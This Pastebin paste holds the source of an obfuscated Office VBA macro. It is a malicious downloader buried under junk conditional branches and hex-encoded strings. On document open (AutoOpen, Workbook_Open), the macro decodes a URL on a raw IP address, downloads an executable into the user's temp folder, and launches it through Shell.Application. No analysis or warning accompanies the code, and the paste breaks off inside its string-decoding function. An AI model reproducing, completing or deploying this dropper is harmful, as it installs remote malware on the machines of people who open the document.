Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "ThisDocument"
- Attribute VB_Base = "1Normal.ThisDocument"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = True
- Attribute VB_Customizable = True
- #If Win64 Then
- Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
- ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
- ByVal fghfgDf As Long) As Long
- #Else
- Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal NRTMLM As Long, _
- ByVal sdfsdf As String, ByVal fdgtrty As String, ByVal irFgg As Long, _
- ByVal fghfgDf As Long) As Long
- #End If
- Sub çÐÐÐÐàï()
- If 951488 = 951488 + 1 Then End
- If 7455 < 79 Then
- If 231455 = 231455 + 1 Then End
- If 1981 < 43 Then
- If 214248 = 214248 + 1 Then End
- If 4777 < 33 Then
- MsgBox (BHUIGiukdf("4A6B45596B58466C3338"))
- End If
- If Len(BHUIGiukdf("6A6E506A52786F7631313938")) = Len(BHUIGiukdf("4D58434A614C644A")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("564E434B657952703435"))
- End If
- If Len(BHUIGiukdf("4667596C786A526235383839")) = Len(BHUIGiukdf("564D56416F754D71")) Then
- If 252271 = 252271 + 1 Then End
- If 7315 < 31 Then
- MsgBox (BHUIGiukdf("7145734248416C463631"))
- End If
- If Len(BHUIGiukdf("55654E697674546331333134")) = Len(BHUIGiukdf("4566694E556F7878")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 533546 = 533546 + 1 Then End
- If 6161 < 65 Then
- MsgBox (BHUIGiukdf("4C6F6849634349583336"))
- End If
- If Len(BHUIGiukdf("6C6B636C5063657A31393639")) = Len(BHUIGiukdf("5744504C754D796D")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("6A6C65624A66735A3738"))
- End If
- If Len(BHUIGiukdf("7853674A6C754B6132333534")) = Len(BHUIGiukdf("4E69416B4852586C")) Then
- If 993393 = 993393 + 1 Then End
- If 2768 < 22 Then
- If 741439 = 741439 + 1 Then End
- If 8414 < 27 Then
- MsgBox (BHUIGiukdf("537670697479646A3239"))
- End If
- If Len(BHUIGiukdf("41444C4F6268645933343132")) = Len(BHUIGiukdf("516C714B73795A6B")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("6D4C6863484956413834"))
- End If
- If Len(BHUIGiukdf("4D7A7875656F6C5536363637")) = Len(BHUIGiukdf("63634F556E59784E")) Then
- If 749912 = 749912 + 1 Then End
- If 9134 < 96 Then
- MsgBox (BHUIGiukdf("7064566564504B463637"))
- End If
- If Len(BHUIGiukdf("434A667A6543515934313333")) = Len(BHUIGiukdf("626441456E6D4642")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 137944 = 137944 + 1 Then End
- If 9856 < 32 Then
- MsgBox (BHUIGiukdf("485854636E6558473234"))
- End If
- If Len(BHUIGiukdf("597168564D64437434383535")) = Len(BHUIGiukdf("484A597559657348")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 565412 = 565412 + 1 Then End
- If 3331 < 99 Then
- If 811585 = 811585 + 1 Then End
- If 1849 < 94 Then
- MsgBox (BHUIGiukdf("734E725458534F593635"))
- End If
- If Len(BHUIGiukdf("516F71676964724434373438")) = Len(BHUIGiukdf("66526347544F7574")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("6E535473585A79743933"))
- End If
- If Len(BHUIGiukdf("686167536A53756D37323339")) = Len(BHUIGiukdf("737363527648426C")) Then
- If 493615 = 493615 + 1 Then End
- If 9729 < 54 Then
- MsgBox (BHUIGiukdf("76426C78476E55663835"))
- End If
- If Len(BHUIGiukdf("5876755463724D5834363238")) = Len(BHUIGiukdf("4A4F686359695157")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 448447 = 448447 + 1 Then End
- If 6128 < 66 Then
- MsgBox (BHUIGiukdf("4B664B6E7675665A3337"))
- End If
- If Len(BHUIGiukdf("6B6342715155494931313237")) = Len(BHUIGiukdf("4D4C73516F725161")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- àðãØàâï
- End Sub
- Sub AutoOpen()
- If 723337 = 723337 + 1 Then End
- If 6719 < 25 Then
- If 774995 = 774995 + 1 Then End
- If 5681 < 52 Then
- If 443799 = 443799 + 1 Then End
- If 8211 < 25 Then
- MsgBox (BHUIGiukdf("6D636A41556E436C3839"))
- End If
- If Len(BHUIGiukdf("4541586D536B536A33323239")) = Len(BHUIGiukdf("4469644576697A7A")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("6C4E526D414C644C3735"))
- End If
- If Len(BHUIGiukdf("644255776261785939363839")) = Len(BHUIGiukdf("654865646E704350")) Then
- If 925995 = 925995 + 1 Then End
- If 8181 < 76 Then
- MsgBox (BHUIGiukdf("6C7A7865434576673735"))
- End If
- If Len(BHUIGiukdf("6E77496D7678744632313839")) = Len(BHUIGiukdf("654A5757574D6F79")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 122267 = 122267 + 1 Then End
- If 5995 < 27 Then
- MsgBox (BHUIGiukdf("7464714E4D4D456A3537"))
- End If
- If Len(BHUIGiukdf("4153426F5A78484239393134")) = Len(BHUIGiukdf("6343756151414942")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("44736D725447544C3237"))
- End If
- If Len(BHUIGiukdf("456E7254424E596F31373238")) = Len(BHUIGiukdf("625164636972766F")) Then
- If 873543 = 873543 + 1 Then End
- If 9735 < 31 Then
- If 356129 = 356129 + 1 Then End
- If 4396 < 47 Then
- MsgBox (BHUIGiukdf("557849717A7675733139"))
- End If
- If Len(BHUIGiukdf("7554475767425A6B38323134")) = Len(BHUIGiukdf("5678715168696578")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4A466C674F764C6A3333"))
- End If
- If Len(BHUIGiukdf("5565654765494D5934363334")) = Len(BHUIGiukdf("4A4F6C5647766F6B")) Then
- If 995555 = 995555 + 1 Then End
- If 4848 < 71 Then
- MsgBox (BHUIGiukdf("567A5968716F58443435"))
- End If
- If Len(BHUIGiukdf("75797369684E505038373537")) = Len(BHUIGiukdf("6A53456A7A484E77")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 761593 = 761593 + 1 Then End
- If 9349 < 88 Then
- MsgBox (BHUIGiukdf("696365594E61796B3539"))
- End If
- If Len(BHUIGiukdf("577A6C594A66567034333438")) = Len(BHUIGiukdf("6363547566517A5A")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 155818 = 155818 + 1 Then End
- If 6177 < 65 Then
- If 994255 = 994255 + 1 Then End
- If 4834 < 72 Then
- MsgBox (BHUIGiukdf("5672624D566A6F4A3436"))
- End If
- If Len(BHUIGiukdf("756974446569564638373333")) = Len(BHUIGiukdf("6A46775847566462")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("626C63426A4C6F633838"))
- End If
- If Len(BHUIGiukdf("54444F6A4B53474331393735")) = Len(BHUIGiukdf("6F6F584A68704C68")) Then
- If 221525 = 221525 + 1 Then End
- If 9156 < 95 Then
- MsgBox (BHUIGiukdf("5A4E6552744859713935"))
- End If
- If Len(BHUIGiukdf("4F6C6758594F645034393535")) = Len(BHUIGiukdf("73475A7865756A7A")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 734238 = 734238 + 1 Then End
- If 2234 < 88 Then
- MsgBox (BHUIGiukdf("537762574D494A473239"))
- End If
- If Len(BHUIGiukdf("6F4D66724573656336313333")) = Len(BHUIGiukdf("7479775851685763")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- çÐÐÐÐàï
- End Sub
- Sub Workbook_Open()
- If 338336 = 338336 + 1 Then End
- If 5127 < 45 Then
- If 244889 = 244889 + 1 Then End
- If 7332 < 39 Then
- If 765771 = 765771 + 1 Then End
- If 3275 < 37 Then
- MsgBox (BHUIGiukdf("755A5A48784978473531"))
- End If
- If Len(BHUIGiukdf("665846695641656737323834")) = Len(BHUIGiukdf("486B614F77427955")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("714141494E6957433631"))
- End If
- If Len(BHUIGiukdf("494E674A4F50695431323431")) = Len(BHUIGiukdf("457363504A474E52")) Then
- If 224464 = 224464 + 1 Then End
- If 1821 < 42 Then
- MsgBox (BHUIGiukdf("4E4D674A754C6B573434"))
- End If
- If Len(BHUIGiukdf("4869426B41656C7135373238")) = Len(BHUIGiukdf("4E46686E664C5558")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 321636 = 321636 + 1 Then End
- If 2258 < 16 Then
- MsgBox (BHUIGiukdf("51746546747078433136"))
- End If
- If Len(BHUIGiukdf("4A7667795465727735313536")) = Len(BHUIGiukdf("6D574159656E7546")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4F704A6B54586A4D3137"))
- End If
- If Len(BHUIGiukdf("6F6C427A4A78534E38393236")) = Len(BHUIGiukdf("5346735A674D476C")) Then
- If 826119 = 826119 + 1 Then End
- If 6212 < 66 Then
- If 224264 = 224264 + 1 Then End
- If 5612 < 13 Then
- MsgBox (BHUIGiukdf("4E4C6B4F4F7A45793434"))
- End If
- If Len(BHUIGiukdf("786C744B6B52474632393334")) = Len(BHUIGiukdf("59427861726D7462")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("766E48624C584D453831"))
- End If
- If Len(BHUIGiukdf("6A624C414A72656A31313131")) = Len(BHUIGiukdf("4C57797A6641754F")) Then
- If 924239 = 924239 + 1 Then End
- If 8183 < 76 Then
- MsgBox (BHUIGiukdf("4977545974784A6D3139"))
- End If
- If Len(BHUIGiukdf("6E6D554965524E6933393832")) = Len(BHUIGiukdf("6B73727672446E73")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 655931 = 655931 + 1 Then End
- If 2433 < 56 Then
- MsgBox (BHUIGiukdf("50545A446B684C483131"))
- End If
- If Len(BHUIGiukdf("4D4F75546375494436333432")) = Len(BHUIGiukdf("726876466F435676")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 349776 = 349776 + 1 Then End
- If 6877 < 25 Then
- If 358738 = 358738 + 1 Then End
- If 8115 < 75 Then
- MsgBox (BHUIGiukdf("496D464A676244733138"))
- End If
- If Len(BHUIGiukdf("46464E6F486C6D5035343237")) = Len(BHUIGiukdf("6B70644F66486365")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("79794D706E6A70503536"))
- End If
- If Len(BHUIGiukdf("5A52496C704D776C33323839")) = Len(BHUIGiukdf("53714E4158505174")) Then
- If 526627 = 526627 + 1 Then End
- If 4833 < 15 Then
- MsgBox (BHUIGiukdf("5466556C494F516C3937"))
- End If
- If Len(BHUIGiukdf("77416A4D654C534938373432")) = Len(BHUIGiukdf("6A44624471434555")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 921596 = 921596 + 1 Then End
- If 8256 < 76 Then
- MsgBox (BHUIGiukdf("6C747452575759673736"))
- End If
- If Len(BHUIGiukdf("62766A587847644632313535")) = Len(BHUIGiukdf("655745784D736A75")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- çÐÐÐÐàï
- End Sub
- Sub àðãØàâï()
- If 859841 = 859841 + 1 Then End
- If 3482 < 67 Then
- If 434171 = 434171 + 1 Then End
- If 6975 < 65 Then
- If 715146 = 715146 + 1 Then End
- If 8149 < 24 Then
- MsgBox (BHUIGiukdf("476945474B4363773236"))
- End If
- If Len(BHUIGiukdf("547764687369765133313538")) = Len(BHUIGiukdf("477A527656564678")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4B696D6F4549696A3336"))
- End If
- If Len(BHUIGiukdf("5453516F6D57616931393734")) = Len(BHUIGiukdf("6F69564F4A6C726E")) Then
- If 656583 = 656583 + 1 Then End
- If 7391 < 77 Then
- MsgBox (BHUIGiukdf("664846426C546A423633"))
- End If
- If Len(BHUIGiukdf("444E58495979517935363232")) = Len(BHUIGiukdf("68776F6F655A4663")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 539384 = 539384 + 1 Then End
- If 4979 < 72 Then
- MsgBox (BHUIGiukdf("6A424A46525957463735"))
- End If
- If Len(BHUIGiukdf("75646E685648587238383738")) = Len(BHUIGiukdf("6A4C4B7650597147")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4B556159475366623937"))
- End If
- If Len(BHUIGiukdf("7A5154624D45657837333831")) = Len(BHUIGiukdf("736B4349596C6B75")) Then
- If 832258 = 832258 + 1 Then End
- If 4195 < 74 Then
- If 451963 = 451963 + 1 Then End
- If 3541 < 29 Then
- MsgBox (BHUIGiukdf("744A706C6D656C593533"))
- End If
- If Len(BHUIGiukdf("5648646C6C71416C36343539")) = Len(BHUIGiukdf("6E73624D47555453")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("576C71436F5562793338"))
- End If
- If Len(BHUIGiukdf("727848476676676538313134")) = Len(BHUIGiukdf("666575564E674546")) Then
- If 543729 = 543729 + 1 Then End
- If 4114 < 97 Then
- MsgBox (BHUIGiukdf("456E6D41585071713931"))
- End If
- If Len(BHUIGiukdf("6C4772656A4D736E31343336")) = Len(BHUIGiukdf("4577777365506E73")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 918538 = 918538 + 1 Then End
- If 8936 < 75 Then
- MsgBox (BHUIGiukdf("4F6A6158626265413138"))
- End If
- If Len(BHUIGiukdf("416872437859646733393335")) = Len(BHUIGiukdf("6C7562466348446C")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 872224 = 872224 + 1 Then End
- If 1447 < 19 Then
- If 539385 = 539385 + 1 Then End
- If 4979 < 72 Then
- MsgBox (BHUIGiukdf("6A424A51587258783735"))
- End If
- If Len(BHUIGiukdf("75666E736A66435338383737")) = Len(BHUIGiukdf("6A4D4B6D65726463")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("5A566755487A46643935"))
- End If
- If Len(BHUIGiukdf("6575786A655A706C37373638")) = Len(BHUIGiukdf("545A4F4A62426451")) Then
- If 789496 = 789496 + 1 Then End
- If 9528 < 81 Then
- MsgBox (BHUIGiukdf("6C7465475779626C3836"))
- End If
- If Len(BHUIGiukdf("4C66717669594D7636383431")) = Len(BHUIGiukdf("784F63425465564A")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 756431 = 756431 + 1 Then End
- If 5141 < 28 Then
- MsgBox (BHUIGiukdf("514551717257464E3231"))
- End If
- If Len(BHUIGiukdf("414A6D516374476839313439")) = Len(BHUIGiukdf("63654545546F5967")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- ùÐÃØðùàâï = BHUIGiukdf("687474703A2F2F3139322E3232372E3136372E33323A383038302F6D6F70732F706F70732E706870")
- If 598177 = 598177 + 1 Then End
- If 3832 < 34 Then
- If 488414 = 488414 + 1 Then End
- If 3461 < 92 Then
- If 446547 = 446547 + 1 Then End
- If 6299 < 66 Then
- MsgBox (BHUIGiukdf("4C6749454C7173793337"))
- End If
- If Len(BHUIGiukdf("6C6347667951597331313138")) = Len(BHUIGiukdf("6F677174754D7568")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("624D5769526F766D3834"))
- End If
- If Len(BHUIGiukdf("6869524F426C625037343639")) = Len(BHUIGiukdf("736C444175636A50")) Then
- If 264572 = 264572 + 1 Then End
- If 6438 < 97 Then
- MsgBox (BHUIGiukdf("71506264484E764D3632"))
- End If
- If Len(BHUIGiukdf("6C467279574A644831343336")) = Len(BHUIGiukdf("456D776755555A41")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 621899 = 621899 + 1 Then End
- If 8944 < 84 Then
- MsgBox (BHUIGiukdf("6572654E5373774B3536"))
- End If
- If Len(BHUIGiukdf("48496C4E5A63664F33383433")) = Len(BHUIGiukdf("6C72546E4E576A7A")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("6F64656246626B4B3637"))
- End If
- If Len(BHUIGiukdf("7A73794153556E5937383331")) = Len(BHUIGiukdf("4B7A416C44486150")) Then
- If 392834 = 392834 + 1 Then End
- If 5754 < 52 Then
- If 886444 = 886444 + 1 Then End
- If 6441 < 32 Then
- MsgBox (BHUIGiukdf("4A4D53704E455A633334"))
- End If
- If Len(BHUIGiukdf("556977506C44454431343539")) = Len(BHUIGiukdf("456C525A414A6D53")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("534C71426356787A3234"))
- End If
- If Len(BHUIGiukdf("737A6B4F50764B6939363632")) = Len(BHUIGiukdf("477652706957576E")) Then
- If 746777 = 746777 + 1 Then End
- If 9292 < 96 Then
- MsgBox (BHUIGiukdf("7068454B586C47733638"))
- End If
- If Len(BHUIGiukdf("4F76515A6F4C706B34313931")) = Len(BHUIGiukdf("73575665546A6650")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 879143 = 879143 + 1 Then End
- If 7377 < 31 Then
- MsgBox (BHUIGiukdf("4B47724B56486A623333"))
- End If
- If Len(BHUIGiukdf("4972446C6B4E6B4731333836")) = Len(BHUIGiukdf("5268587162727046")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 735738 = 735738 + 1 Then End
- If 6934 < 26 Then
- If 828985 = 828985 + 1 Then End
- If 1824 < 94 Then
- MsgBox (BHUIGiukdf("64614861464A677A3635"))
- End If
- If Len(BHUIGiukdf("4E5275615472694D35383233")) = Len(BHUIGiukdf("5A616C417A6E7164")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("536D455A6C6573583239"))
- End If
- If Len(BHUIGiukdf("5A4F64654464647133333536")) = Len(BHUIGiukdf("5368527376654158")) Then
- If 455291 = 455291 + 1 Then End
- If 8345 < 26 Then
- MsgBox (BHUIGiukdf("6D4552584A4C79793831"))
- End If
- If Len(BHUIGiukdf("525570465850576533333433")) = Len(BHUIGiukdf("46644143496E7146")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 621899 = 621899 + 1 Then End
- If 8943 < 84 Then
- MsgBox (BHUIGiukdf("6B636673786579743739"))
- End If
- If Len(BHUIGiukdf("4A55775749456E7335333635")) = Len(BHUIGiukdf("6C65497779614545")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- òÎÐØàâï = Environ(BHUIGiukdf("54454D50")) & BHUIGiukdf("5C3156324D555932585759534658512E657865")
- If 486314 = 486314 + 1 Then End
- If 6853 < 82 Then
- If 767671 = 767671 + 1 Then End
- If 3295 < 37 Then
- If 414716 = 414716 + 1 Then End
- If 9921 < 56 Then
- MsgBox (BHUIGiukdf("76697841517450543836"))
- End If
- If Len(BHUIGiukdf("575570506D49436634383339")) = Len(BHUIGiukdf("4A4B6C5A5A534764")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("794153447A5276643531"))
- End If
- If Len(BHUIGiukdf("645856744563745137313133")) = Len(BHUIGiukdf("486B715461576F72")) Then
- If 833211 = 833211 + 1 Then End
- If 6264 < 67 Then
- MsgBox (BHUIGiukdf("625A6D59476650443831"))
- End If
- If Len(BHUIGiukdf("6B416349536D4C6E31323732")) = Len(BHUIGiukdf("6F6B4C6244526D52")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 917156 = 917156 + 1 Then End
- If 4964 < 72 Then
- MsgBox (BHUIGiukdf("566F4B4B584348683133"))
- End If
- If Len(BHUIGiukdf("756463506146546438383733")) = Len(BHUIGiukdf("6A4C464D44524D56")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("764349656D706F743834"))
- End If
- If Len(BHUIGiukdf("67736B52466C706D39383632")) = Len(BHUIGiukdf("764B4F446E707679")) Then
- If 989731 = 989731 + 1 Then End
- If 8574 < 28 Then
- If 643882 = 643882 + 1 Then End
- If 8164 < 76 Then
- MsgBox (BHUIGiukdf("68557668656E536F3732"))
- End If
- If Len(BHUIGiukdf("474A594E6761756735343835")) = Len(BHUIGiukdf("6B644C6E53767155")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("50454D69474E50623131"))
- End If
- If Len(BHUIGiukdf("6E4A454F6F71514732343832")) = Len(BHUIGiukdf("5063574B57614E6E")) Then
- If 578713 = 578713 + 1 Then End
- If 9671 < 38 Then
- MsgBox (BHUIGiukdf("414A43766D626C753933"))
- End If
- If Len(BHUIGiukdf("5057416B626A6F7234353738")) = Len(BHUIGiukdf("4D6E4C6E73796347")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 171911 = 171911 + 1 Then End
- If 3544 < 29 Then
- MsgBox (BHUIGiukdf("76597A726C5152643832"))
- End If
- If Len(BHUIGiukdf("5648704459734E6C37343433")) = Len(BHUIGiukdf("6E737866654F6551")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 323636 = 323636 + 1 Then End
- If 8754 < 83 Then
- If 396761 = 396761 + 1 Then End
- If 5337 < 11 Then
- MsgBox (BHUIGiukdf("6554627356686C4E3531"))
- End If
- If Len(BHUIGiukdf("6272646D554B524F32373539")) = Len(BHUIGiukdf("4F5052456C494D6C")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("507464514F79626C3136"))
- End If
- If Len(BHUIGiukdf("4A7676657142794C35313736")) = Len(BHUIGiukdf("6C4D514549786F71")) Then
- If 298847 = 298847 + 1 Then End
- If 1829 < 94 Then
- MsgBox (BHUIGiukdf("4C7142664455506B3337"))
- End If
- If Len(BHUIGiukdf("53707A6850464C7434373338")) = Len(BHUIGiukdf("5A4E637553566D6F")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 432698 = 432698 + 1 Then End
- If 8299 < 25 Then
- MsgBox (BHUIGiukdf("78777178756D6F6F3839"))
- End If
- If Len(BHUIGiukdf("546248677373437433313138")) = Len(BHUIGiukdf("47796963567A6448")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- øÐØÃàâï = URLDownloadToFileA(0&, ùÐÃØðùàâï, òÎÐØàâï, 0&, 0&)
- If 473541 = 473541 + 1 Then End
- If 5561 < 59 Then
- If 423497 = 423497 + 1 Then End
- If 8927 < 57 Then
- If 355438 = 355438 + 1 Then End
- If 1586 < 19 Then
- MsgBox (BHUIGiukdf("4F77635A4A4F48683139"))
- End If
- If Len(BHUIGiukdf("48474F4D6C5A784635343934")) = Len(BHUIGiukdf("6C715877474E6E75")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("78736C6F707841503837"))
- End If
- If Len(BHUIGiukdf("4C50696B4B4E446C33393236")) = Len(BHUIGiukdf("47586A716172546C")) Then
- If 317486 = 317486 + 1 Then End
- If 2751 < 74 Then
- MsgBox (BHUIGiukdf("687046694679715A3737"))
- End If
- If Len(BHUIGiukdf("747663496968734B35363539")) = Len(BHUIGiukdf("614F59416A6C654B")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 526779 = 526779 + 1 Then End
- If 3119 < 36 Then
- MsgBox (BHUIGiukdf("6F764670726C6C553639"))
- End If
- If Len(BHUIGiukdf("61784A737A6E456D37313137")) = Len(BHUIGiukdf("524B725376565944")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("465566554E4C4E6C3232"))
- End If
- If Len(BHUIGiukdf("417352554A794C7039343638")) = Len(BHUIGiukdf("72554A696645585A")) Then
- If 872124 = 872124 + 1 Then End
- If 7652 < 61 Then
- If 331288 = 331288 + 1 Then End
- If 7195 < 14 Then
- MsgBox (BHUIGiukdf("676A7943565744723738"))
- End If
- If Len(BHUIGiukdf("636D514765515A6132393934")) = Len(BHUIGiukdf("5561655647414B53")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("5A566862636C4D413935"))
- End If
- If Len(BHUIGiukdf("77436C417741656732353631")) = Len(BHUIGiukdf("566C547A4C567555")) Then
- If 341137 = 341137 + 1 Then End
- If 8938 < 84 Then
- MsgBox (BHUIGiukdf("5166726F524F654D3137"))
- End If
- If Len(BHUIGiukdf("4A55686E795A4F6C33383437")) = Len(BHUIGiukdf("6D725A615A4E5351")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 543129 = 543129 + 1 Then End
- If 1224 < 45 Then
- MsgBox (BHUIGiukdf("52626C486A4A58513939"))
- End If
- If Len(BHUIGiukdf("4445424F7749514935323232")) = Len(BHUIGiukdf("43706A4B69764E6C")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 219763 = 219763 + 1 Then End
- If 5577 < 12 Then
- If 337536 = 337536 + 1 Then End
- If 2216 < 17 Then
- MsgBox (BHUIGiukdf("537550526D726C773236"))
- End If
- If Len(BHUIGiukdf("4B6E58585843425736313235")) = Len(BHUIGiukdf("77586F786C6D6566")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4E4657754A56414B3433"))
- End If
- If Len(BHUIGiukdf("786649686E41466E32383838")) = Len(BHUIGiukdf("594D4E76736B7273")) Then
- If 916956 = 916956 + 1 Then End
- If 8746 < 44 Then
- MsgBox (BHUIGiukdf("426F50516564464D3437"))
- End If
- If Len(BHUIGiukdf("47636C646378477033363435")) = Len(BHUIGiukdf("51495A74546E5970")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- If 783396 = 783396 + 1 Then End
- If 5874 < 53 Then
- MsgBox (BHUIGiukdf("6D6F634F5761745A3836"))
- End If
- If Len(BHUIGiukdf("66696E514B6F666839373733")) = Len(BHUIGiukdf("7256435A4C6B466D")) Then
- MsgBox (BHUIGiukdf("4572726F7220212121"))
- End If
- Set ùÐÃØÐãââà = CreateObject(BHUIGiukdf("5368656C6C2E4170706C69636174696F6E"))
- ùÐÃØÐãââà.Open òÎÐØàâï
- End Sub
- Public Function BHUIGiukdf(ByVal VKfUL As String) As String
- Dim BdHMbPJymnWvSvj89, HzrnRlvZBXDCsiE63 As Integer
- If 134117 = 134117 + 1 Then End
- If 7962 < 76 Then
- If 922835 = 922835 + 1 Then End
- If 1998 < 34 Then
- MsgBox ("wMLdFpyo53")
- End If
- If Len("rzYvsATd5532") = Len("XPSEAOQe") Then
- MsgBox ("Error !!!")
- End If
- MsgBox ("ypozSQHK26")
- End If
- If Len("tcvtkSXt5928") = Len("hXbAlnGZ") Then
- If 318426 = 318426 + 1 Then End
- If 6912 < 56 Then
- MsgBox ("jNEvIhCT68")
- End If
